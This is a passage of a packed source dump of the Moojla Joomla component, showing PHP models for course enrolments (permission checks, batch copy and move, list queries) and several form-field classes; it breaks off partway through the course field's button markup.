	 * @since   1.6
	 */
	protected function canEditState($record)
	{
		$user = JFactory::getUser();
		$recordId = (!empty($record->id)) ? $record->id : 0;

		if ($recordId)
		{
			// The record has been set. Check the record permissions.
			$permission = $user->authorise('core.edit.state',
'com_moojla.enrolment.' . (int) $recordId);
			if (!$permission && !is_null($permission))
			{
				return false;
			}
		}
		// In the absense of better information, revert to the component
permissions.
		return parent::canEditState($record);
	}
    
	/**
	 * Method override to check if you can edit an existing record.
	 *
	 * @param	array	$data	An array of input data.
	 * @param	string	$key	The name of the key for the primary key.
	 *
	 * @return	boolean
	 * @since	2.5
	 */
	protected function allowEdit($data = array(), $key = 'id')
	{
		// Check specific edit permission then general edit permission.

		return JFactory::getUser()->authorise('core.edit',
'com_moojla.enrolment.'. ((int) isset($data[$key]) ? $data[$key]
: 0)) or parent::allowEdit($data, $key);
	}
    
	/**
	 * Prepare and sanitise the table data prior to saving.
	 *
	 * @param   JTable  $table  A JTable object.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function prepareTable($table)
	{
		$date = JFactory::getDate();
		$user = JFactory::getUser();
		
		if (isset($table->name))
		{
			$table->name = htmlspecialchars_decode($table->name, ENT_QUOTES);
		}
		
		if (isset($table->alias) && empty($table->alias))
		{
			$table->generateAlias();
		}
		
		if (empty($table->id))
		{
			$table->created = $date->toSql();
			// set the user
			if ($table->created_by == 0 || empty($table->created_by))
			{
				$table->created_by = $user->id;
			}
			// Set ordering to the last item if not set
			if (empty($table->ordering))
			{
				$db = JFactory::getDbo();
				$query = $db->getQuery(true)
					->select('MAX(ordering)')
					->from($db->quoteName('#__moojla_enrolment'));
				$db->setQuery($query);
				$max = $db->loadResult();

				$table->ordering = $max + 1;
			}
		}
		else
		{
			$table->modified = $date->toSql();
			$table->modified_by = $user->id;
		}
        
		if (!empty($table->id))
		{
			// Increment the items version number.
			$table->version++;
		}
	}

	/**
	 * Method to get the data that should be injected in the form.
	 *
	 * @return  mixed  The data for the form.
	 *
	 * @since   1.6
	 */
	protected function loadFormData() 
	{
		// Check the session for previously entered form data.
		$data =
JFactory::getApplication()->getUserState('com_moojla.edit.enrolment.data',
array());

		if (empty($data))
		{
			$data = $this->getItem();
			// run the perprocess of the data
			$this->preprocessData('com_moojla.enrolment', $data);
		}

		return $data;
	}

	/**
	 * Method to get the unique fields of this table.
	 *
	 * @return  mixed  An array of field names, boolean false if none is set.
	 *
	 * @since   3.0
	 */
	protected function getUniqueFields()
	{
		return false;
	}
	
	/**
	 * Method to delete one or more records.
	 *
	 * @param   array  &$pks  An array of record primary keys.
	 *
	 * @return  boolean  True if successful, false if an error occurs.
	 *
	 * @since   12.2
	 */
	public function delete(&$pks)
	{
		if (!parent::delete($pks))
		{
			return false;
		}
		
		return true;
	}

	/**
	 * Method to change the published state of one or more records.
	 *
	 * @param   array    &$pks   A list of the primary keys to change.
	 * @param   integer  $value  The value of the published state.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   12.2
	 */
	public function publish(&$pks, $value = 1)
	{
		if (!parent::publish($pks, $value))
		{
			return false;
		}
		
		return true;
        }
    
	/**
	 * Method to perform batch operations on an item or a set of items.
	 *
	 * @param   array  $commands  An array of commands to perform.
	 * @param   array  $pks       An array of item ids.
	 * @param   array  $contexts  An array of item contexts.
	 *
	 * @return  boolean  Returns true on success, false on failure.
	 *
	 * @since   12.2
	 */
	public function batch($commands, $pks, $contexts)
	{
		// Sanitize ids.
		$pks = array_unique($pks);
		ArrayHelper::toInteger($pks);

		// Remove any values of zero.
		if (array_search(0, $pks, true))
		{
			unset($pks[array_search(0, $pks, true)]);
		}

		if (empty($pks))
		{
			$this->setError(JText::_('JGLOBAL_NO_ITEM_SELECTED'));
			return false;
		}

		$done = false;

		// Set some needed variables.
		$this->user			= JFactory::getUser();
		$this->table			= $this->getTable();
		$this->tableClassName		= get_class($this->table);
		$this->contentType		= new JUcmType;
		$this->type			=
$this->contentType->getTypeByTable($this->tableClassName);
		$this->canDo			= MoojlaHelper::getActions('enrolment');
		$this->batchSet			= true;

		if (!$this->canDo->get('core.batch'))
		{
			$this->setError(JText::_('JLIB_APPLICATION_ERROR_INSUFFICIENT_BATCH_INFORMATION'));
			return false;
		}
        
		if ($this->type == false)
		{
			$type = new JUcmType;
			$this->type = $type->getTypeByAlias($this->typeAlias);
		}

		$this->tagsObserver =
$this->table->getObserverOfClass('JTableObserverTags');

		if (!empty($commands['move_copy']))
		{
			$cmd = ArrayHelper::getValue($commands, 'move_copy',
'c');

			if ($cmd == 'c')
			{
				$result = $this->batchCopy($commands, $pks, $contexts);

				if (is_array($result))
				{
					foreach ($result as $old => $new)
					{
						$contexts[$new] = $contexts[$old];
					}
					$pks = array_values($result);
				}
				else
				{
					return false;
				}
			}
			elseif ($cmd == 'm' && !$this->batchMove($commands,
$pks, $contexts))
			{
				return false;
			}

			$done = true;
		}

		if (!$done)
		{
			$this->setError(JText::_('JLIB_APPLICATION_ERROR_INSUFFICIENT_BATCH_INFORMATION'));

			return false;
		}

		// Clear the cache
		$this->cleanCache();

		return true;
	}

	/**
	 * Batch copy items to a new category or current.
	 *
	 * @param   integer  $values    The new values.
	 * @param   array    $pks       An array of row IDs.
	 * @param   array    $contexts  An array of item contexts.
	 *
	 * @return  mixed  An array of new IDs on success, boolean false on
failure.
	 *
	 * @since 12.2
	 */
	protected function batchCopy($values, $pks, $contexts)
	{
		if (empty($this->batchSet))
		{
			// Set some needed variables.
			$this->user 		= JFactory::getUser();
			$this->table 		= $this->getTable();
			$this->tableClassName	= get_class($this->table);
			$this->canDo		= MoojlaHelper::getActions('enrolment');
		}

		if (!$this->canDo->get('core.create') ||
!$this->canDo->get('core.batch'))
		{
			return false;
		}

		// get list of unique fields
		$uniqueFields = $this->getUniqueFields();
		// remove move_copy from array
		unset($values['move_copy']);

		// make sure published is set
		if (!isset($values['published']))
		{
			$values['published'] = 0;
		}
		elseif (isset($values['published']) &&
!$this->canDo->get('core.edit.state'))
		{
				$values['published'] = 0;
		}

		$newIds = array();
		// Parent exists so let's proceed
		while (!empty($pks))
		{
			// Pop the first ID off the stack
			$pk = array_shift($pks);

			$this->table->reset();

			// only allow copy if user may edit this item.
			if (!$this->user->authorise('core.edit',
$contexts[$pk]))
			{
				// Not fatal error
				$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND',
$pk));
				continue;
			}

			// Check that the row actually exists
			if (!$this->table->load($pk))
			{
				if ($error = $this->table->getError())
				{
					// Fatal error
					$this->setError($error);
					return false;
				}
				else
				{
					// Not fatal error
					$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND',
$pk));
					continue;
				}
			}

			// insert all set values
			if (MoojlaHelper::checkArray($values))
			{
				foreach ($values as $key => $value)
				{
					if (strlen($value) > 0 && isset($this->table->$key))
					{
						$this->table->$key = $value;
					}
				}
			}

			// update all unique fields
			if (MoojlaHelper::checkArray($uniqueFields))
			{
				foreach ($uniqueFields as $uniqueField)
				{
					$this->table->$uniqueField =
$this->generateUnique($uniqueField,$this->table->$uniqueField);
				}
			}

			// Reset the ID because we are making a copy
			$this->table->id = 0;

			// TODO: Deal with ordering?
			// $this->table->ordering = 1;

			// Check the row.
			if (!$this->table->check())
			{
				$this->setError($this->table->getError());

				return false;
			}

			if (!empty($this->type))
			{
				$this->createTagsHelper($this->tagsObserver, $this->type, $pk,
$this->typeAlias, $this->table);
			}

			// Store the row.
			if (!$this->table->store())
			{
				$this->setError($this->table->getError());

				return false;
			}

			// Get the new item ID
			$newId = $this->table->get('id');

			// Add the new ID to the array
			$newIds[$pk] = $newId;
		}

		// Clean the cache
		$this->cleanCache();

		return $newIds;
	}

	/**
	 * Batch move items to a new category
	 *
	 * @param   integer  $value     The new category ID.
	 * @param   array    $pks       An array of row IDs.
	 * @param   array    $contexts  An array of item contexts.
	 *
	 * @return  boolean  True if successful, false otherwise and internal
error is set.
	 *
	 * @since 12.2
	 */
	protected function batchMove($values, $pks, $contexts)
	{
		if (empty($this->batchSet))
		{
			// Set some needed variables.
			$this->user		= JFactory::getUser();
			$this->table		= $this->getTable();
			$this->tableClassName	= get_class($this->table);
			$this->canDo		= MoojlaHelper::getActions('enrolment');
		}

		if (!$this->canDo->get('core.edit') &&
!$this->canDo->get('core.batch'))
		{
			$this->setError(JText::_('JLIB_APPLICATION_ERROR_BATCH_CANNOT_EDIT'));
			return false;
		}

		// make sure published only updates if user has the permission.
		if (isset($values['published']) &&
!$this->canDo->get('core.edit.state'))
		{
			unset($values['published']);
		}
		// remove move_copy from array
		unset($values['move_copy']);

		// Parent exists so we proceed
		foreach ($pks as $pk)
		{
			if (!$this->user->authorise('core.edit',
$contexts[$pk]))
			{
				$this->setError(JText::_('JLIB_APPLICATION_ERROR_BATCH_CANNOT_EDIT'));
				return false;
			}

			// Check that the row actually exists
			if (!$this->table->load($pk))
			{
				if ($error = $this->table->getError())
				{
					// Fatal error
					$this->setError($error);
					return false;
				}
				else
				{
					// Not fatal error
					$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND',
$pk));
					continue;
				}
			}

			// insert all set values.
			if (MoojlaHelper::checkArray($values))
			{
				foreach ($values as $key => $value)
				{
					// Do special action for access.
					if ('access' === $key && strlen($value) > 0)
					{
						$this->table->$key = $value;
					}
					elseif (strlen($value) > 0 &&
isset($this->table->$key))
					{
						$this->table->$key = $value;
					}
				}
			}


			// Check the row.
			if (!$this->table->check())
			{
				$this->setError($this->table->getError());

				return false;
			}

			if (!empty($this->type))
			{
				$this->createTagsHelper($this->tagsObserver, $this->type, $pk,
$this->typeAlias, $this->table);
			}

			// Store the row.
			if (!$this->table->store())
			{
				$this->setError($this->table->getError());

				return false;
			}
		}

		// Clean the cache
		$this->cleanCache();

		return true;
	}
	
	/**
	 * Method to save the form data.
	 *
	 * @param   array  $data  The form data.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   1.6
	 */
	public function save($data)
	{
		$input	= JFactory::getApplication()->input;
		$filter	= JFilterInput::getInstance();
        
		// set the metadata to the Item Data
		if (isset($data['metadata']) &&
isset($data['metadata']['author']))
		{
			$data['metadata']['author'] =
$filter->clean($data['metadata']['author'],
'TRIM');
            
			$metadata = new JRegistry;
			$metadata->loadArray($data['metadata']);
			$data['metadata'] = (string) $metadata;
		}
        
		// Set the Params Items to data
		if (isset($data['params']) &&
is_array($data['params']))
		{
			$params = new JRegistry;
			$params->loadArray($data['params']);
			$data['params'] = (string) $params;
		}

		// Alter the unique field for save as copy
		if ($input->get('task') === 'save2copy')
		{
			// Automatic handling of other unique fields
			$uniqueFields = $this->getUniqueFields();
			if (MoojlaHelper::checkArray($uniqueFields))
			{
				foreach ($uniqueFields as $uniqueField)
				{
					$data[$uniqueField] =
$this->generateUnique($uniqueField,$data[$uniqueField]);
				}
			}
		}
		
		if (parent::save($data))
		{
			return true;
		}
		return false;
	}
	
	/**
	 * Method to generate a unique value.
	 *
	 * @param   string  $field name.
	 * @param   string  $value data.
	 *
	 * @return  string  New value.
	 *
	 * @since   3.0
	 */
	protected function generateUnique($field,$value)
	{

		// set field value unique
		$table = $this->getTable();

		while ($table->load(array($field => $value)))
		{
			$value = StringHelper::increment($value);
		}

		return $value;
	}
}
models/enrolments.php000064400000023055151165724400010740 0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		enrolments.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

use Joomla\Utilities\ArrayHelper;

/**
 * Enrolments Model
 */
class MoojlaModelEnrolments extends JModelList
{
	public function __construct($config = array())
	{
		if (empty($config['filter_fields']))
        {
			$config['filter_fields'] = array(
				'a.id','id',
				'a.published','published',
				'a.ordering','ordering',
				'a.created_by','created_by',
				'a.modified_by','modified_by',
				'a.role','role',
				'g.fullname','moojlacourse',
				'h.name','jid',
				'a.enrolldate','enrolldate'
			);
		}

		parent::__construct($config);
	}

	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @param   string  $ordering   An optional ordering field.
	 * @param   string  $direction  An optional direction (asc|desc).
	 *
	 * @return  void
	 *
	 */
	protected function populateState($ordering = null, $direction = null)
	{
		$app = JFactory::getApplication();

		// Adjust the context to support modal layouts.
		if ($layout = $app->input->get('layout'))
		{
			$this->context .= '.' . $layout;
		}

		// Check if the form was submitted
		$formSubmited =
$app->input->post->get('form_submited');

		$access = $this->getUserStateFromRequest($this->context .
'.filter.access', 'filter_access', 0, 'int');
		if ($formSubmited)
		{
			$access = $app->input->post->get('access');
			$this->setState('filter.access', $access);
		}

		$published = $this->getUserStateFromRequest($this->context .
'.filter.published', 'filter_published', '');
		$this->setState('filter.published', $published);

		$created_by = $this->getUserStateFromRequest($this->context .
'.filter.created_by', 'filter_created_by',
'');
		$this->setState('filter.created_by', $created_by);

		$created = $this->getUserStateFromRequest($this->context .
'.filter.created', 'filter_created');
		$this->setState('filter.created', $created);

		$sorting = $this->getUserStateFromRequest($this->context .
'.filter.sorting', 'filter_sorting', 0,
'int');
		$this->setState('filter.sorting', $sorting);

		$search = $this->getUserStateFromRequest($this->context .
'.filter.search', 'filter_search');
		$this->setState('filter.search', $search);

		$role = $this->getUserStateFromRequest($this->context .
'.filter.role', 'filter_role');
		if ($formSubmited)
		{
			$role = $app->input->post->get('role');
			$this->setState('filter.role', $role);
		}

		$moojlacourse = $this->getUserStateFromRequest($this->context .
'.filter.moojlacourse', 'filter_moojlacourse');
		if ($formSubmited)
		{
			$moojlacourse =
$app->input->post->get('moojlacourse');
			$this->setState('filter.moojlacourse', $moojlacourse);
		}

		$jid = $this->getUserStateFromRequest($this->context .
'.filter.jid', 'filter_jid');
		if ($formSubmited)
		{
			$jid = $app->input->post->get('jid');
			$this->setState('filter.jid', $jid);
		}

		$enrolldate = $this->getUserStateFromRequest($this->context .
'.filter.enrolldate', 'filter_enrolldate');
		if ($formSubmited)
		{
			$enrolldate = $app->input->post->get('enrolldate');
			$this->setState('filter.enrolldate', $enrolldate);
		}

		// List state information.
		parent::populateState($ordering, $direction);
	}
	
	/**
	 * Method to get an array of data items.
	 *
	 * @return  mixed  An array of data items on success, false on failure.
	 */
	public function getItems()
	{
		// check in items
		$this->checkInNow();

		// load parent items
		$items = parent::getItems();

		// set selection value to a translatable value
		if (MoojlaHelper::checkArray($items))
		{
			foreach ($items as $nr => &$item)
			{
				// convert role
				$item->role = $this->selectionTranslation($item->role,
'role');
			}
		}

        
		// return items
		return $items;
	}

	/**
	 * Method to convert selection values to translatable string.
	 *
	 * @return translatable string
	 */
	public function selectionTranslation($value,$name)
	{
		// Array of role language strings
		if ($name === 'role')
		{
			$roleArray = array(
				0 => 'COM_MOOJLA_ENROLMENT_SELECT_AN_OPTION',
				1 => 'COM_MOOJLA_ENROLMENT_MANAGER',
				2 => 'COM_MOOJLA_ENROLMENT_COURSE_CREATOR',
				3 => 'COM_MOOJLA_ENROLMENT_TEACHER',
				4 => 'COM_MOOJLA_ENROLMENT_NONEDITING_TEACHER',
				5 => 'COM_MOOJLA_ENROLMENT_STUDENT'
			);
			// Now check if value is found in this array
			if (isset($roleArray[$value]) &&
MoojlaHelper::checkString($roleArray[$value]))
			{
				return $roleArray[$value];
			}
		}
		return $value;
	}
	
	/**
	 * Method to build an SQL query to load the list data.
	 *
	 * @return	string	An SQL query
	 */
	protected function getListQuery()
	{
		// Get the user object.
		$user = JFactory::getUser();
		// Create a new query object.
		$db = JFactory::getDBO();
		$query = $db->getQuery(true);

		// Select some fields
		$query->select('a.*');

		// From the moojla_item table
		$query->from($db->quoteName('#__moojla_enrolment',
'a'));

		// From the moojla_course table.
		$query->select($db->quoteName('g.fullname','moojlacourse_fullname'));
		$query->join('LEFT',
$db->quoteName('#__moojla_course', 'g') . ' ON
(' . $db->quoteName('a.moojlacourse') . ' = ' .
$db->quoteName('g.remoteid') . ')');

		// From the users table.
		$query->select($db->quoteName('h.name','jid_name'));
		$query->join('LEFT', $db->quoteName('#__users',
'h') . ' ON (' . $db->quoteName('a.jid') .
' = ' . $db->quoteName('h.id') . ')');

		// Filter by published state
		$published = $this->getState('filter.published');
		if (is_numeric($published))
		{
			$query->where('a.published = ' . (int) $published);
		}
		elseif ($published === '')
		{
			$query->where('(a.published = 0 OR a.published = 1)');
		}
		// Filter by search.
		$search = $this->getState('filter.search');
		if (!empty($search))
		{
			if (stripos($search, 'id:') === 0)
			{
				$query->where('a.id = ' . (int) substr($search, 3));
			}
			else
			{
				$search = $db->quote('%' . $db->escape($search) .
'%');
				$query->where('(a.moojlacourse LIKE '.$search.' OR
g.fullname LIKE '.$search.' OR a.jid LIKE '.$search.'
OR h.name LIKE '.$search.')');
			}
		}

		// Filter by Role.
		$_role = $this->getState('filter.role');
		if (is_numeric($_role))
		{
			if (is_float($_role))
			{
				$query->where('a.role = ' . (float) $_role);
			}
			else
			{
				$query->where('a.role = ' . (int) $_role);
			}
		}
		elseif (MoojlaHelper::checkString($_role))
		{
			$query->where('a.role = ' .
$db->quote($db->escape($_role)));
		}

		// Add the list ordering clause.
		$orderCol = $this->state->get('list.ordering',
'a.id');
		$orderDirn = $this->state->get('list.direction',
'desc');
		if ($orderCol != '')
		{
			$query->order($db->escape($orderCol . ' ' .
$orderDirn));
		}

		return $query;
	}
	
	/**
	 * Method to get a store id based on model configuration state.
	 *
	 * @return  string  A store id.
	 *
	 */
	protected function getStoreId($id = '')
	{
		// Compile the store id.
		$id .= ':' . $this->getState('filter.id');
		$id .= ':' . $this->getState('filter.search');
		$id .= ':' . $this->getState('filter.published');
		$id .= ':' . $this->getState('filter.ordering');
		$id .= ':' . $this->getState('filter.created_by');
		$id .= ':' .
$this->getState('filter.modified_by');
		$id .= ':' . $this->getState('filter.role');
		$id .= ':' .
$this->getState('filter.moojlacourse');
		$id .= ':' . $this->getState('filter.jid');
		$id .= ':' . $this->getState('filter.enrolldate');

		return parent::getStoreId($id);
	}

	/**
	 * Build an SQL query to checkin all items left checked out longer then a
set time.
	 *
	 * @return  a bool
	 *
	 */
	protected function checkInNow()
	{
		// Get set check in time
		$time =
JComponentHelper::getParams('com_moojla')->get('check_in');

		if ($time)
		{

			// Get a db connection.
			$db = JFactory::getDbo();
			// reset query
			$query = $db->getQuery(true);
			$query->select('*');
			$query->from($db->quoteName('#__moojla_enrolment'));
			$db->setQuery($query);
			$db->execute();
			if ($db->getNumRows())
			{
				// Get Yesterdays date
				$date = JFactory::getDate()->modify($time)->toSql();
				// reset query
				$query = $db->getQuery(true);

				// Fields to update.
				$fields = array(
					$db->quoteName('checked_out_time') .
'=\'0000-00-00 00:00:00\'',
					$db->quoteName('checked_out') . '=0'
				);

				// Conditions for which records should be updated.
				$conditions = array(
					$db->quoteName('checked_out') . '!=0', 
					$db->quoteName('checked_out_time') .
'<\''.$date.'\''
				);

				// Check table
				$query->update($db->quoteName('#__moojla_enrolment'))->set($fields)->where($conditions);


				$db->setQuery($query);

				$db->execute();
			}
		}

		return false;
	}
}
models/fields/ads.php000064400000004215151165724400010564 0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		ads.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// import the list field type
jimport('joomla.form.helper');
JFormHelper::loadFieldClass('list');

/**
 * Ads Form Field class for the Moojla component
 */
class JFormFieldAds extends JFormFieldList
{
	/**
	 * The ads field type.
	 *
	 * @var		string
	 */
	public $type = 'ads';

	/**
	 * Method to get a list of options for a list input.
	 *
	 * @return	array    An array of JHtml options.
	 */
	protected function getOptions()
	{
		// Get the user object.
		$user = JFactory::getUser();
		// Get the databse object.
		$document = JFactory::getDocument();
		$document->addScript('components/com_moojla/assets/js/admin.js');
		JPluginHelper::importPlugin("moojlaaditionalfields");
		$dispatcher = JEventDispatcher::getInstance();
		$items = $dispatcher->trigger("getName", array());
		$options = array();
		$options[] = JHtml::_('select.option', '',
'Select an option');
		if ($items)
		{
			foreach($items as $item)
			{
				$options[] = JHtml::_('select.option', $item->id,
$item->additional_data_source_name);
			}
		}
		return $options;
	}
}
models/fields/contentsfiltercontentsmoduleid.php000064400000005007151165724400016361
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		contentsfiltercontentsmoduleid.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// import the list field type
jimport('joomla.form.helper');
JFormHelper::loadFieldClass('list');

/**
 * Contentsfiltercontentsmoduleid Form Field class for the Moojla component
 */
class JFormFieldContentsfiltercontentsmoduleid extends JFormFieldList
{
	/**
	 * The contentsfiltercontentsmoduleid field type.
	 *
	 * @var		string
	 */
	public $type = 'contentsfiltercontentsmoduleid';

	/**
	 * Method to get a list of options for a list input.
	 *
	 * @return	array    An array of JHtml options.
	 */
	protected function getOptions()
	{
		// Get a db connection.
		$db = JFactory::getDbo();

		// Create a new query object.
		$query = $db->getQuery(true);

		// Select the text.
		$query->select($db->quoteName('contents_module_id'));
		$query->from($db->quoteName('#__moojla_content'));
		$query->order($db->quoteName('contents_module_id') .
' ASC');

		// Reset the query using our newly populated query object.
		$db->setQuery($query);

		$results = $db->loadColumn();
		$_filter = array();
		$_filter[] = JHtml::_('select.option', '', '-
' . JText::_('COM_MOOJLA_FILTER_SELECT_CONTENTS_MODULE_ID')
. ' -');

		if ($results)
		{
			$results = array_unique($results);
			foreach ($results as $contents_module_id)
			{
				// Now add the contents_module_id and its text to the options array
				$_filter[] = JHtml::_('select.option', $contents_module_id,
$contents_module_id);
			}
		}
		return $_filter;
	}
}
models/fields/contentsfiltermimetype.php000064400000004642151165724400014636
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		contentsfiltermimetype.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// import the list field type
jimport('joomla.form.helper');
JFormHelper::loadFieldClass('list');

/**
 * Contentsfiltermimetype Form Field class for the Moojla component
 */
class JFormFieldContentsfiltermimetype extends JFormFieldList
{
	/**
	 * The contentsfiltermimetype field type.
	 *
	 * @var		string
	 */
	public $type = 'contentsfiltermimetype';

	/**
	 * Method to get a list of options for a list input.
	 *
	 * @return	array    An array of JHtml options.
	 */
	protected function getOptions()
	{
		// Get a db connection.
		$db = JFactory::getDbo();

		// Create a new query object.
		$query = $db->getQuery(true);

		// Select the text.
		$query->select($db->quoteName('mimetype'));
		$query->from($db->quoteName('#__moojla_content'));
		$query->order($db->quoteName('mimetype') . '
ASC');

		// Reset the query using our newly populated query object.
		$db->setQuery($query);

		$results = $db->loadColumn();
		$_filter = array();
		$_filter[] = JHtml::_('select.option', '', '-
' . JText::_('COM_MOOJLA_FILTER_SELECT_CONTENTS_MIMETYPE') .
' -');

		if ($results)
		{
			$results = array_unique($results);
			foreach ($results as $mimetype)
			{
				// Now add the mimetype and its text to the options array
				$_filter[] = JHtml::_('select.option', $mimetype, $mimetype);
			}
		}
		return $_filter;
	}
}
models/fields/course.php000064400000015153151165724400011320
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		course.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

// import the list field type
jimport('joomla.form.helper');
JFormHelper::loadFieldClass('list');

/**
 * Course Form Field class for the Moojla component
 */
class JFormFieldCourse extends JFormFieldList
{
	/**
	 * The course field type.
	 *
	 * @var		string
	 */
	public $type = 'course';

	/**
	 * Override to add new button
	 *
	 * @return  string  The field input markup.
	 *
	 * @since   3.2
	 */
	protected function getInput()
	{
		// see if we should add buttons
		$set_button = $this->getAttribute('button');
		// get html
		$html = parent::getInput();
		// if true set button
		if ($set_button === 'true')
		{
			$button = array();
			$script = array();
			$button_code_name = $this->getAttribute('name');
			// get the input from url
			$app = JFactory::getApplication();
			$jinput = $app->input;
			// get the view name & id
			$values = $jinput->getArray(array(
				'id' => 'int',
				'view' => 'word'
			));
			// check if new item
			$ref = '';
			$refJ = '';
			if (!is_null($values['id']) &&
strlen($values['view']))
			{
				// only load referral if not new item.
				$ref = '&amp;ref=' . $values['view'] .
'&amp;refid=' . $values['id'];
				$refJ = '&ref=' . $values['view'] .
'&refid=' . $values['id'];
				// get the return value.
				$_uri = (string) JUri::getInstance();
				$_return = urlencode(base64_encode($_uri));
				// load return value.
				$ref .= '&amp;return=' . $_return;
				$refJ .= '&return=' . $_return;
			}
			// get button label
			$button_label = trim($button_code_name);
			$button_label = preg_replace('/_+/', ' ',
$button_label);
			$button_label = preg_replace('/\s+/', ' ',
$button_label);
			$button_label = preg_replace("/[^A-Za-z ]/", '',
$button_label);
			$button_label = ucfirst(strtolower($button_label));
			// get user object
			$user = JFactory::getUser();
			// only add if user allowed to create course
			if ($user->authorise('course.create',
'com_moojla') && $app->isAdmin()) // TODO for now only
in admin area.
			{
				// build Create button
				$button[] = '<a
id="'.$button_code_name.'Create" class="btn
btn-small btn-success hasTooltip"
title="'.JText::sprintf('COM_MOOJLA_CREATE_NEW_S',
$button_label).'" style="border-radius: 0px 4px 4px 0px;
padding: 4px 4px 4px 7px;"
